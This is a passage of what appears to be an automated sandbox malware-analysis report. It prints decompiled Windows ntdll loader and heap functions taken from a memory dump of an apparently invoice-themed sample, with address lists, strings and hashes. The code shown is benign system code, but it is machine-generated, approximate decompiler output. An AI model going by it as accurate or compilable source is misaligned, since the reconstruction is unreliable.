					if(E3349015C( *((intOrPtr*)( *[fs:0x30] + 0x38)), _t135,  ~_a4 & _a4 + 0x0000002c,  &_v6,  &_v28) < 0 || _v6 == 0) {
						_t119 = 0x14d3;
					} else {
						__eflags = _v28;
						if(_v28 == 0) {
							_t119 = 0x14d2;
						} else {
							_t119 = 0x14d1;
						}
					}
					L3348DF36(0, _t135, _t119);
					if(_v6 != 0) {
						__eflags = _v28;
						if(_v28 == 0) {
							_t184 = 0xc0000481;
							goto L14;
						}
						 *_t183 = 0;
						E334B5050(0,  &_v44, E334801C0());
						E3348C7E7(_t183,  &_v44);
						E3348C7E7(_t183, 0x33441008);
						_t184 = E3348C7E7(_t183,  &_v28);
						__eflags = _t184;
						if(_t184 < 0) {
							goto L7;
						}
						_t134 =  *(_v20 + 0x10);
						__eflags = _t134;
						if(_t134 == 0) {
							L53:
							_t128 = 0;
							__eflags = 0;
							L54:
							_t161 = _t183;
							goto L8;
						}
						__eflags =  *(_t134 + 8) & 0x00001000;
						if(( *(_t134 + 8) & 0x00001000) != 0) {
							_t128 = 1;
							goto L54;
						}
						goto L53;
					} else {
						L7:
						_t128 = _v7;
						_t161 = _t135;
						L8:
						if(_t184 < 0) {
							L83:
							__eflags =  *0x335637c0 & 0x00000003;
							if(( *0x335637c0 & 0x00000003) != 0) {
								_push(_t184);
								E334EE692("minkernel\\ntdll\\ldrutil.c", 0xab2, "LdrpPreprocessDllName", 0, "LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx\n", _t135);
							}
							__eflags =  *0x335637c0 & 0x00000010;
							if(( *0x335637c0 & 0x00000010) != 0) {
								asm("int3");
							}
							L40:
							if(_v8 != 0) {
								E3348C4A0(_v16,  &_v16);
							}
							return _t184;
						} else {
							if(_t128 != 0 &&  *0x33565d70 == 0) {
								_t136 = L33489870("true", _t161, 0x3344116c, 0,  &_v36, 0, 0, 0, 0);
								if(_t136 >= 0) {
									_v5 = 1;
									E334923C4( &_v36, _t183, __eflags);
									E3349E3C9( &_v36);
								}
								if(_t136 != 0xc0150008) {
									_t184 = _t136;
								}
								_t135 = _v12;
							}
							L14:
							if(_t184 < 0) {
								goto L83;
							} else {
								_t138 = _a8;
								_t75 = _v5;
								goto L16;
							}
						}
					}
				}
			}

0x3348b0de
0x3348b0e3
0x3348b0e5
0x3348b0ef
0x334d81db
0x3348b0f5
0x3348b0f5
0x3348b0f5
0x3348b0f9
0x3348b0fc
0x3348b0fe
0x3348b100
0x3348b109
0x3348b1d5
0x3348b1d9
0x3348b1dc
0x3348b303
0x3348b30a
0x334d81f8
0x334d81fa
0x334d81ff
0x334d8201
0x334d8201
0x334d8206
0x334d8207
0x334d821f
0x334d8224
0x334d8227
0x334d8227
0x3348b312
0x3348b317
0x3348b31b
0x3348b31d
0x3348b3ff
0x3348b3ff
0x3348b323
0x3348b325
0x3348b264
0x3348b266
0x00000000
0x00000000
0x3348b272
0x3348b2f6
0x3348b2fb
0x3348b2fb
0x3348b278
0x3348b281
0x3348b285
0x3348b2a0
0x3348b2ac
0x00000000
0x3348b287
0x3348b287
0x3348b287
0x3348b28d
0x00000000
0x00000000
0x3348b292
0x3348b299
0x3348b29e
0x00000000
0x00000000
0x3348b29e
0x00000000
0x3348b292
0x3348b2b3
0x3348b2b9
0x3348b2bb
0x3348b2bd
0x3348b2ca
0x3348b2ca
0x3348b2cc
0x3348b2d0
0x3348b2d2
0x00000000
0x00000000
0x00000000
0x3348b2d2
0x3348b2c0
0x3348b2c0
0x3348b2c4
0x00000000
0x00000000
0x334d82bf
0x334d82c2
0x334d82c5
0x334d82c7
0x00000000
0x00000000
0x00000000
0x334d82cd
0x00000000
0x3348b2c0
0x3348b285
0x3348b1e5
0x3348b1eb
0x3348b1ef
0x3348b210
0x3348b210
0x3348b213
0x3348b215
0x3348b21b
0x3348b262
0x3348b262
0x00000000
0x3348b262
0x3348b225
0x3348b22d
0x334d823f
0x334d8245
0x334d8251
0x334d8254
0x334d8257
0x334d825d
0x334d825f
0x334d825f
0x334d8264
0x334d8267
0x334d826a
0x334d826c
0x334d827f
0x334d8281
0x334d8284
0x334d8286
0x00000000
0x00000000
0x334d8288
0x334d828b
0x334d828e
0x334d8295
0x334d829a
0x334d829d
0x334d829d
0x00000000
0x334d826e
0x334d8275
0x334d82a0
0x334d82a0
0x334d82a2
0x334d82b0
0x334d82b0
0x3348b25f
0x3348b25f
0x00000000
0x3348b25f
0x334d82a4
0x334d82a7
0x00000000
0x334d82a7
0x334d826c
0x334d8247
0x00000000
0x334d8247
0x3348b233
0x3348b236
0x3348b243
0x3348b24b
0x3348b24e
0x3348b25b
0x00000000
0x00000000
0x00000000
0x00000000
0x3348b1f1
0x3348b1f1
0x3348b1f1
0x3348b1f7
0x00000000
0x00000000
0x3348b206
0x3348b20b
0x00000000
0x00000000
0x3348b20d
0x00000000
0x3348b20d
0x3348b3ae
0x3348b3b1
0x334d8238
0x00000000
0x334d8238
0x3348b3bb
0x3348b3c0
0x3348b3c3
0x3348b3c5
0x3348b3c7
0x3348b3c9
0x00000000
0x00000000
0x3348b3cf
0x00000000
0x3348b10f
0x3348b117
0x3348b123
0x3348b129
0x3348b12d
0x3348b144
0x3348b154
0x3348b160
0x3348b32d
0x3348b32d
0x3348b332
0x334d81e4
0x3348b338
0x3348b338
0x3348b338
0x3348b332
0x3348b16a
0x3348b173
0x3348b342
0x3348b347
0x334d81ee
0x00000000
0x334d81ee
0x3348b34f
0x3348b35c
0x3348b366
0x3348b372
0x3348b381
0x3348b383
0x3348b385
0x00000000
0x00000000
0x3348b38e
0x3348b391
0x3348b393
0x3348b39e
0x3348b39e
0x3348b39e
0x3348b3a0
0x3348b3a0
0x00000000
0x3348b3a0
0x3348b395
0x3348b39c
0x3348b406
0x00000000
0x3348b406
0x00000000
0x3348b179
0x3348b179
0x3348b179
0x3348b17c
0x3348b17e
0x3348b180
0x334d82d2
0x334d82d2
0x334d82d9
0x334d82db
0x334d82f3
0x334d82f8
0x334d82fb
0x334d8302
0x334d8308
0x334d8308
0x3348b2d8
0x3348b2dc
0x3348b2e5
0x3348b2e5
0x3348b2f2
0x3348b186
0x3348b188
0x3348b1ae
0x3348b1b2
0x3348b3dc
0x3348b3e3
0x3348b3eb
0x3348b3eb
0x3348b1be
0x3348b3f5
0x3348b3f5
0x3348b1c4
0x3348b1c4
0x3348b1c7
0x3348b1c9
0x00000000
0x3348b1cf
0x3348b1cf
0x3348b1d2
0x00000000
0x3348b1d2
0x3348b1c9
0x3348b180
0x3348b173

Strings

SxS, xrefs: 334D81FA
minkernel\ntdll\ldrutil.c, xrefs: 334D821A, 334D82EE
LdrpPreprocessDllName, xrefs: 334D8210, 334D82E4
API set, xrefs: 334D8201, 334D8206
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 334D82DD
DLL %wZ was redirected to %wZ by %s, xrefs: 334D8209

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: a4f68516539fe945be4e6e83014f45565ff0a2f40f1134a4c38d0d6f414fd16e
Instruction ID: e47c5321b44b427b6e4d8afd9062b35eb192cb33ac3fee82ff8f7f1a82953d97
Opcode Fuzzy Hash: a4f68516539fe945be4e6e83014f45565ff0a2f40f1134a4c38d0d6f414fd16e
Instruction Fuzzy Hash: 7DC16875E003159FEB148B64CC90BBEBBA4AF45740F588069E862EF3A1DB76DC45C398

Uniqueness

Uniqueness Score: -1.00%

Function 334A631F Relevance: 7.8, Strings: 6, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E334A631F(intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				intOrPtr _t71;
				void* _t73;
				signed int _t77;
				signed int _t79;
				char* _t84;
				intOrPtr _t85;
				signed int _t86;
				signed int _t88;
				signed char* _t89;
				void* _t99;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				signed char _t109;
				void* _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				intOrPtr _t124;
				intOrPtr _t127;
				signed char _t130;
				signed int _t132;
				signed int _t133;
				intOrPtr _t136;
				void* _t138;
				signed int* _t140;
				signed short _t141;
				signed int _t145;
				void* _t147;
				signed int _t148;
				signed int _t149;
				void* _t151;
				void* _t153;

				_push(__esi);
				_push(__edi);
				_t145 = __edx;
				_t136 = __ecx;
				if( *0x335668d4 == 0) {
					E334F1419();
				}
				_t71 =  *[fs:0x18];
				if(( *(_t71 + 0xfca) & 0x00004000) != 0) {
					return _t71;
				} else {
					_t116 = _t136;
					_t132 = _t145;
					_pop(_t138);
					_pop(_t147);
					_push(0x30);
					_push(0x3354c780);
					E334C7BE4(_t111, _t138, _t147);
					 *(_t151 - 0x28) = _t132;
					 *((intOrPtr*)(_t151 - 0x20)) = _t116;
					_t112 =  *[fs:0x18];
					 *((intOrPtr*)(_t151 - 0x30)) = _t112;
					_t148 = 0;
					 *(_t151 - 0x24) = 0;
					while(1) {
						L6:
						_t133 = 0x2000;
						_t118 = 1;
						_t73 = 0;
						asm("lock cmpxchg [edi], ecx");
						if(0 != 1 || ( *(_t112 + 0xfca) & 0x00002000) != 0) {
							goto L8;
						}
						L44:
						_t104 =  *0x33565d50; // 0x50
						__eflags = _t104;
						if(_t104 == 0) {
							L51:
							 *((intOrPtr*)(_t151 - 0x40)) = 0xfffb6c20;
							_t55 = _t151 - 0x3c;
							 *_t55 =  *(_t151 - 0x3c) | 0xffffffff;
							__eflags =  *_t55;
							while(1) {
								__eflags =  *0x33565db0 - 1;
								if(__eflags != 0) {
									goto L6;
								}
								_push(_t151 - 0x40);
								_push(_t148);
								_t106 = E334B2CF0();
								__eflags = _t106;
								if(_t106 < 0) {
									_t130 =  *0x335637c0; // 0x0
									__eflags = _t130 & 0x00000003;
									if((_t130 & 0x00000003) != 0) {
										E334EE692("minkernel\\ntdll\\ldrinit.c", 0x615, "_LdrpInitialize", "true", "Delaying execution failed with status 0x%08lx\n", _t106);
										_t153 = _t153 + 0x18;
										_t130 =  *0x335637c0; // 0x0
									}
									__eflags = _t130 & 0x00000040;
									if((_t130 & 0x00000040) != 0) {
										asm("int3");
									}
								}
							}
							continue;
						} else {
							_push(_t148);
							_push(_t148);
							_push(_t104);
							_t108 = L334B29D0();
							_t118 = _t108;
							__eflags = _t108;
							if(__eflags < 0) {
								_t109 =  *0x335637c0; // 0x0
								__eflags = _t109 & 0x00000003;
								if((_t109 & 0x00000003) != 0) {
									E334EE692("minkernel\\ntdll\\ldrinit.c", 0x604, "_LdrpInitialize", "true", "NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop\n", _t118);
									_t153 = _t153 + 0x18;
									_t109 =  *0x335637c0; // 0x0
								}
								__eflags = _t109 & 0x00000040;
								if((_t109 & 0x00000040) != 0) {
									asm("int3");
								}
								goto L51;
							} else {
								_t73 =  *0x33565db0;
							}
						}
						L8:
						_t140 =  *(_t112 + 0x30);
						if(_t73 == 0) {
							_push(_t148);
							_push(_t148);
							_push(_t148);
							_push(0x1f0003);
							_push(0x33565d50);
							L334B2E30();
							 *(_t112 + 0xfca) =  *(_t112 + 0xfca) | 0x00000020;
							_t140[0x28] = 0x33563390;
							 *0x335665f4 = _t148;
							 *(_t151 - 0x34) =  &(_t140[0xa]);
							asm("lock bts dword [eax], 0x1");
							_t149 = L334F4F99();
							__eflags = _t149;
							if(_t149 >= 0) {
								 *(_t151 - 4) =  *(_t151 - 4) & 0x00000000;
								_t77 = _t140[4];
								 *(_t151 - 0x38) = _t77;
								__eflags =  *(_t77 + 8);
								if(__eflags < 0) {
									 *0x33565d70 = 1;
									 *0x33565d08 = 1;
								}
								_t133 =  *(_t151 - 0x28);
								_t149 = L334EA3F0(_t112,  *((intOrPtr*)(_t151 - 0x20)), _t133, _t140, _t149, __eflags);
								 *(_t151 - 0x1c) = _t149;
								__eflags = _t149;
								if(_t149 < 0) {
									_t79 =  *0x335637c0; // 0x0
									__eflags = _t79 & 0x00000003;
									if((_t79 & 0x00000003) != 0) {
										E334EE692("minkernel\\ntdll\\ldrinit.c", 0x678, "_LdrpInitialize", 0, "Process initialization failed with status 0x%08lx\n", _t149);
										_t79 =  *0x335637c0; // 0x0
									}
									__eflags = _t79 & 0x00000010;
									if((_t79 & 0x00000010) != 0) {
										asm("int3");
									}
									 *(_t151 - 4) = 0xfffffffe;
									goto L14;
								} else {
									__eflags =  *0x335668d0;
									if( *0x335668d0 != 0) {
										 *(_t151 - 4) = 0xfffffffe;
										goto L18;
									} else {
										_t124 =  *0x33565b24; // 0x3142d38
										_t24 = _t124 + 0x24; // 0x3142d5c
										_t133 = _t24;
										_t25 = _t124 + 0x18; // 0x400000
										L3348DF36( *_t25, _t133, 0x14ae);
										_t126 = _t140[0x82];
										__eflags = _t140[0x82];
										if(__eflags != 0) {
											_t149 = E334F3BA3(_t112, _t126, _t140, _t149, __eflags);
											 *(_t151 - 0x1c) = _t149;
										}
										 *(_t151 - 4) = 0xfffffffe;
										_t141 = 0x2000;
										 *0x335665f4 = 3;
										asm("lock btr dword [eax], 0x1");
										_t127 =  *0x3356670c; // 0x3143308
										E334A64BE(_t127);
										__eflags = _t149;
										if(_t149 < 0) {
											goto L67;
										} else {
											_t79 = E334A648A(_t133);
											goto L15;
										}
									}
								}
							} else {
								_t79 =  *0x335637c0; // 0x0
								__eflags = _t79 & 0x00000003;
								if((_t79 & 0x00000003) != 0) {
									E334EE692("minkernel\\ntdll\\ldrinit.c", 0x660, "_LdrpInitialize", 0, "LDR:MRDATA: Process initialization failed with status 0x%08lx\n", _t149);
									_t79 =  *0x335637c0; // 0x0
								}
								__eflags = _t79 & 0x00000010;
								if((_t79 & 0x00000010) != 0) {
									asm("int3");
								}
								goto L14;
							}
						} else {
							 *(_t151 - 0x1c) = _t148;
							if( *0x335668d0 != 0) {
								L18:
								 *[fs:0x0] =  *((intOrPtr*)(_t151 - 0x10));
								return _t79;
							} else {
								if( *_t140 != 0) {
									_t148 = 0;
									 *0x33565d50 = 0;
									_t118 = 1;
									_push("true");
									_pop(_t99);
									_t133 = 0x33565db0;
									asm("lock cmpxchg [edx], ecx");
									__eflags = _t99 - 2;
									if(_t99 == 2) {
										__eflags =  *_t140;
										if( *_t140 == 0) {
											_t149 =  *(_t151 - 0x1c);
											goto L62;
										} else {
											_t79 = E334F1B93();
											_t149 = _t79;
											__eflags = _t149;
											if(__eflags >= 0) {
												L62:
												_t79 = E334A648A(_t133);
											} else {
											}
											goto L11;
										}
										goto L15;
									} else {
										goto L44;
									}
								} else {
									L11:
									if(( *(_t112 + 0xfca) & 0x00000040) == 0) {
										_t166 =  *0x33565a85;
										if( *0x33565a85 != 0) {
											_t140 = 0x335667b4;
											L334753C0(0x335667b4);
											while(1) {
												__eflags =  *0x33565a85;
												if( *0x33565a85 == 0) {
													break;
												}
												L334821D0(0x335667b8, _t140, 0, "true");
											}
											E334752F0(_t118, _t140);
										}
										_t79 = E3348DA59(_t112,  *((intOrPtr*)(_t151 - 0x20)), _t140, _t149, _t166);
									}
									L14:
									_t141 = 0x2000;
									L15:
									if(_t149 < 0) {
										L67:
										_t120 = _t149;
										L334F1D5E(_t149);
										_push(_t149);
										_push(0xffffffff);
										_t79 = L334B2C70();
										__eflags =  *(_t151 - 0x24);
										if( *(_t151 - 0x24) != 0) {
											goto L18;
										} else {
											L334C8AA0(_t120, _t133, _t149);
											asm("int3");
											_t84 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
											__eflags =  *_t84;
											if( *_t84 != 0) {
												_t85 =  *[fs:0x30];
												__eflags =  *(_t85 + 0x240) & 0x00000004;
												if(( *(_t85 + 0x240) & 0x00000004) != 0) {
													_t88 = L33483C40();
													__eflags = _t88;
													if(_t88 == 0) {
														_t89 = 0x7ffe0385;
													} else {
														_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
													}
													__eflags =  *_t89 & 0x00000020;
													if(( *_t89 & 0x00000020) != 0) {
														E334F0227(0x1484, _t133 | 0xffffffff, _t133 | 0xffffffff, _t133 | 0xffffffff, 0, 0);
													}
												}
											}
											asm("lock inc dword [0x33565db0]");
											_t86 =  *0x33565d50; // 0x50
											__eflags = _t86;
											if(_t86 != 0) {
												_push(0);
												_push(_t86);
												return E334B2A70();
											}
											return _t86;
										}
									} else {
										if(( *(_t112 + 0xfca) & _t141) == 0) {
											_t79 = E334B45B0();
										}
										goto L18;
									}
								}
							}
						}
						goto L76;
					}
				}
				L76:
			}

0x334a6326
0x334a6327
0x334a6328
0x334a632a
0x334a632c
0x334a634d
0x334a634d
0x334a632e
0x334a6340
0x334a6356
0x334a6342
0x334a6342
0x334a6344
0x334a6346
0x334a6347
0x334a6357
0x334a6359
0x334a635e
0x334a6363
0x334a6366
0x334a6369
0x334a6370
0x334a6373
0x334a6375
0x334a637d
0x334a637d
0x334a637d
0x334a6384
0x334a6385
0x334a6387
0x334a638e
0x00000000
0x00000000
0x334e3fde
0x334e3fde
0x334e3fe3
0x334e3fe5
0x334e4031
0x334e4031
0x334e4038
0x334e4038
0x334e4038
0x334e403c
0x334e403c
0x334e4043
0x00000000
0x00000000
0x334e404c
0x334e404d
0x334e404e
0x334e4053
0x334e4055
0x334e4057
0x334e405d
0x334e4060
0x334e4079
0x334e407e
0x334e4081
0x334e4081
0x334e4087
0x334e408a
0x334e408c
0x334e408c
0x334e408a
0x334e4055
0x00000000
0x334e3fe7
0x334e3fe7
0x334e3fe8
0x334e3fe9
0x334e3fea
0x334e3fef
0x334e3ff1
0x334e3ff3
0x334e3fff
0x334e4004
0x334e4006
0x334e401f
0x334e4024
0x334e4027
0x334e4027
0x334e402c
0x334e402e
0x334e4030
0x334e4030
0x00000000
0x334e3ff5
0x334e3ff5
0x334e3ff5
0x334e3ff3
0x334a639d
0x334a639d
0x334a63a2
0x334e3e99
0x334e3e9a
0x334e3e9b
0x334e3e9c
0x334e3ea1
0x334e3ea6
0x334e3eab
0x334e3eb3
0x334e3ebd
0x334e3ec6
0x334e3ec9
0x334e3ed3
0x334e3ed5
0x334e3ed7
0x334e3f14
0x334e3f18
0x334e3f1b
0x334e3f1e
0x334e3f22
0x334e3f28
0x334e3f2f
0x334e3f2f
0x334a6406
0x334a6411
0x334a6413
0x334a6416
0x334a6418
0x334e3f3b
0x334e3f40
0x334e3f42
0x334e3f5b
0x334e3f63
0x334e3f63
0x334e3f68
0x334e3f6a
0x334e3f6c
0x334e3f6c
0x334e3f6d
0x00000000
0x334a641e
0x334a641e
0x334a6425
0x334e3f79
0x00000000
0x334a642b
0x334a6430
0x334a6436
0x334a6436
0x334a6439
0x334a643c
0x334a6441
0x334a6447
0x334a6449
0x334e3f8a
0x334e3f8c
0x334e3f8c
0x334a644f
0x334a6456
0x334a645b
0x334a6468
0x334a646d
0x334a6473
0x334a6478
0x334a647a
0x00000000
0x334a6480
0x334a6480
0x00000000
0x334a6480
0x334a647a
0x334a6425
0x334e3ed9
0x334e3ed9
0x334e3ede
0x334e3ee0
0x334e3ef9
0x334e3f01
0x334e3f01
0x334e3f06
0x334e3f08
0x334e3f0e
0x334e3f0e
0x00000000
0x334e3f08
0x334a63a8
0x334a63a8
0x334a63b2
0x334a63f6
0x334a63f9
0x334a6405
0x334a63b4
0x334a63b7
0x334e3fbc
0x334e3fbe
0x334e3fc6
0x334e3fc7
0x334e3fc9
0x334e3fca
0x334e3fcf
0x334e3fd3
0x334e3fd6
0x334e4091
0x334e4093
0x334e40a5
0x00000000
0x334e4095
0x334e4095
0x334e409a
0x334e409c
0x334e409e
0x334e40a8
0x334e40a8
0x00000000
0x334e40a0
0x00000000
0x334e409e
0x00000000
0x334e3fdc
0x00000000
0x334e3fdc
0x334a63bd
0x334a63bd
0x334a63c4
0x334a63c6
0x334a63cd
0x334e40b2
0x334e40b8
0x334e40bd
0x334e40bd
0x334e40c4
0x00000000
0x00000000
0x334e40d0
0x334e40d0
0x334e40d8
0x334e40d8
0x334a63d6
0x334a63d6
0x334a63db
0x334a63db
0x334a63e0
0x334a63e2
0x334e40e2
0x334e40e2
0x334e40e4
0x334e40e9
0x334e40ea
0x334e40ec
0x334e40f1
0x334e40f5
0x00000000
0x334e40fb
0x334e40fc
0x334e4101
0x334e410b
0x334a649c
0x334a649f
0x334e4115
0x334e411b
0x334e4122
0x334e4128
0x334e412d
0x334e412f
0x334e4141
0x334e4131
0x334e413a
0x334e413a
0x334e4146
0x334e4149
0x334e415d
0x334e415d
0x334e4149
0x334e4122
0x334a64a5
0x334a64ac
0x334a64b1
0x334a64b3
0x334a64b5
0x334a64b7
0x00000000
0x334a64b8
0x334a64bd
0x334a64bd
0x334a63e8
0x334a63ef
0x334a63f1
0x334a63f1
0x00000000
0x334a63ef
0x334a63e2
0x334a63b7
0x334a63b2
0x00000000
0x334a63a2
0x334a637d
0x00000000

Strings

_LdrpInitialize, xrefs: 334E3EEA, 334E3F4C, 334E4010, 334E406A
Delaying execution failed with status 0x%08lx, xrefs: 334E4063
Process initialization failed with status 0x%08lx, xrefs: 334E3F45
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 334E4009
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 334E3EE3
minkernel\ntdll\ldrinit.c, xrefs: 334E3EF4, 334E3F56, 334E401A, 334E4074

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: b6f51942ce903a75180eb5d7bf65c92cd4a0f35d4f02a90997cbeef761bddc32
Instruction ID: 2d1e6b207b2fbf3a152109b18c3956fa25b899da32e4e474d1cb2bd661479467
Opcode Fuzzy Hash: b6f51942ce903a75180eb5d7bf65c92cd4a0f35d4f02a90997cbeef761bddc32
Instruction Fuzzy Hash: D69123B1E02314DFEB15DF28D844B9A77B4AB50756F04006DFA60AB792DB749843CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 33480680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E33480680(intOrPtr __ecx, signed int* __edx) {
				signed int* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr* _v24;
				signed int _v28;
				signed int _v32;
				signed char _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t136;
				signed int _t141;
				void* _t143;
				signed int* _t145;
				signed int* _t146;
				intOrPtr _t148;
				unsigned int _t150;
				char _t162;
				signed int* _t164;
				signed char* _t165;
				intOrPtr _t166;
				signed int* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t180;
				intOrPtr _t195;
				signed int _t197;
				signed int _t209;
				signed char _t210;
				intOrPtr* _t215;
				intOrPtr _t222;
				signed int _t232;
				intOrPtr* _t242;
				intOrPtr _t244;
				unsigned int _t245;
				intOrPtr _t247;
				intOrPtr* _t258;
				signed char _t264;
				unsigned int _t269;
				intOrPtr _t271;
				signed int* _t276;
				signed int _t277;
				void* _t278;
				intOrPtr _t281;
				signed int* _t287;
				intOrPtr _t288;
				unsigned int _t291;
				unsigned int* _t295;
				intOrPtr* _t298;
				intOrPtr _t300;

				_t231 = __edx;
				_v8 = __edx;
				_t300 = __ecx;
				_t298 = E33480ACE(__edx,  *__edx);
				if(_t298 == __ecx + 0x8c) {
					L45:
					return 0;
				}
				if( *0x33566960 >= 1) {
					__eflags =  *(_t298 + 0x14) -  *__edx;
					if(__eflags < 0) {
						_t222 =  *[fs:0x30];
						__eflags =  *(_t222 + 0xc);
						if( *(_t222 + 0xc) == 0) {
							_push("HEAP: ");
							L3346B910();
						} else {
							L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(UCRBlock->Size >= *Size)");
						L3346B910();
						__eflags =  *0x33565da8;
						if(__eflags == 0) {
							L3352FC95(_t231, 1, _t298, __eflags);
						}
					}
				}
				_t136 =  *((intOrPtr*)(_t298 - 2));
				_t4 = _t298 - 8; // -8
				_t232 = _t4;
				if(_t136 != 0) {
					_v12 = (_t232 & 0xffff0000) - ((_t136 & 0x000000ff) << 0x10) + 0x10000;
				} else {
					_v12 = _t300;
				}
				_v20 =  *((intOrPtr*)(_t298 + 0x10));
				_t141 =  *(_t300 + 0xcc) ^  *0x33566d48;
				_v28 = _t141;
				if(_t141 != 0) {
					 *0x335691e0(_t300,  &_v20, _v8);
					_t143 = _v28();
					_t276 = _v8;
					goto L13;
				} else {
					_t295 = _v8;
					if( *(_t298 + 0x14) -  *_t295 <=  *(_t300 + 0x6c) << 3) {
						_t269 =  *(_t298 + 0x14);
						__eflags = _t269 -  *(_t300 + 0x5c) << 3;
						if(__eflags < 0) {
							 *_t295 = _t269;
						}
					}
					if(( *(_t300 + 0x40) & 0x00040000) != 0) {
						_push(0);
						_push(0x1c);
						_v16 = 0x40;
						_push( &_v60);
						_push("true");
						_push(_t300);
						_push(0xffffffff);
						_t209 = E334B2BE0();
						__eflags = _t209;
						_t210 = _v56;
						if(_t209 < 0) {
							L61:
							__eflags = 0;
							L33535FED(0, _t300, "true", _t210, 0, 0);
							_v16 = 4;
							L62:
							_t276 = _v8;
							goto L8;
						}
						__eflags = _t210 & 0x00000060;
						if((_t210 & 0x00000060) == 0) {
							goto L61;
						}
						__eflags = _v60 - _t300;
						if(__eflags == 0) {
							goto L62;
						}
						goto L61;
					} else {
						_v16 = 4;
						L8:
						_v32 =  *_t276;
						_v28 =  *((intOrPtr*)(_t300 + 0x1f8)) -  *((intOrPtr*)(_t300 + 0x244));
						_t215 = _t300 + 0xd4;
						_v24 = _t215;
						if( *0x3356373c != 0) {
							L11:
							_push(_v16);
							_push(0x1000);
							_push(_t276);
							_push(0);
							_push( &_v20);
							_push(0xffffffff);
							_t143 = E334B2B10();
							_t276 = _v8;
							L12:
							 *((intOrPtr*)(_t300 + 0x21c)) =  *((intOrPtr*)(_t300 + 0x21c)) + 1;
							L13:
							if(_t143 < 0) {
								 *((intOrPtr*)(_t300 + 0x224)) =  *((intOrPtr*)(_t300 + 0x224)) + 1;
								goto L45;
							}
							_t145 =  *( *[fs:0x30] + 0x50);
							if(_t145 != 0) {
								__eflags =  *_t145;
								if(__eflags == 0) {
									goto L15;
								}
								_t146 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
								L16:
								if( *_t146 != 0) {
									__eflags =  *( *[fs:0x30] + 0x240) & 0x00000001;
									if(__eflags != 0) {
										L3352EFD3(_t232, _t300, _v20,  *_t276, "true");
									}
								}
								if( *((intOrPtr*)(_t300 + 0x4c)) != 0) {
									_t291 =  *(_t300 + 0x50) ^  *_t232;
									 *_t232 = _t291;
									_t264 = _t291 >> 0x00000010 ^ _t291 >> 0x00000008 ^ _t291;
									if(_t291 >> 0x18 != _t264) {
										_push(_t264);
										E3352D646(_t232, _t300, _t232, _t298, _t300, __eflags);
									}
								}
								 *((char*)(_t232 + 2)) = 0;
								 *((char*)(_t232 + 7)) = 0;
								_t148 =  *((intOrPtr*)(_t298 + 8));
								_t242 =  *((intOrPtr*)(_t298 + 0xc));
								_t277 =  *((intOrPtr*)(_t148 + 4));
								_v32 = _t277;
								_t278 = _t298 + 8;
								if( *_t242 != _t277 ||  *_t242 != _t278) {
									L33535FED(0xd, 0, _t278, _v32,  *_t242, 0);
								} else {
									 *_t242 = _t148;
									 *((intOrPtr*)(_t148 + 4)) = _t242;
								}
								_t150 =  *(_t298 + 0x14);
								if(_t150 == 0) {
									L27:
									_t244 = _v12;
									 *((intOrPtr*)(_t244 + 0x30)) =  *((intOrPtr*)(_t244 + 0x30)) - 1;
									 *((intOrPtr*)(_t244 + 0x2c)) =  *((intOrPtr*)(_t244 + 0x2c)) - ( *(_t298 + 0x14) >> 0xc);
									 *((intOrPtr*)(_t300 + 0x1f8)) =  *((intOrPtr*)(_t300 + 0x1f8)) +  *(_t298 + 0x14);
									 *((intOrPtr*)(_t300 + 0x20c)) =  *((intOrPtr*)(_t300 + 0x20c)) + 1;
									 *((intOrPtr*)(_t300 + 0x208)) =  *((intOrPtr*)(_t300 + 0x208)) - 1;
									_t245 =  *(_t298 + 0x14);
									if(_t245 >= 0x7f000) {
										 *((intOrPtr*)(_t300 + 0x1fc)) =  *((intOrPtr*)(_t300 + 0x1fc)) - _t245;
										_t245 =  *(_t298 + 0x14);
									}
									_t280 = _v8;
									_t154 =  *_v8;
									if(_t245 <=  *_v8) {
										_t281 = _v12;
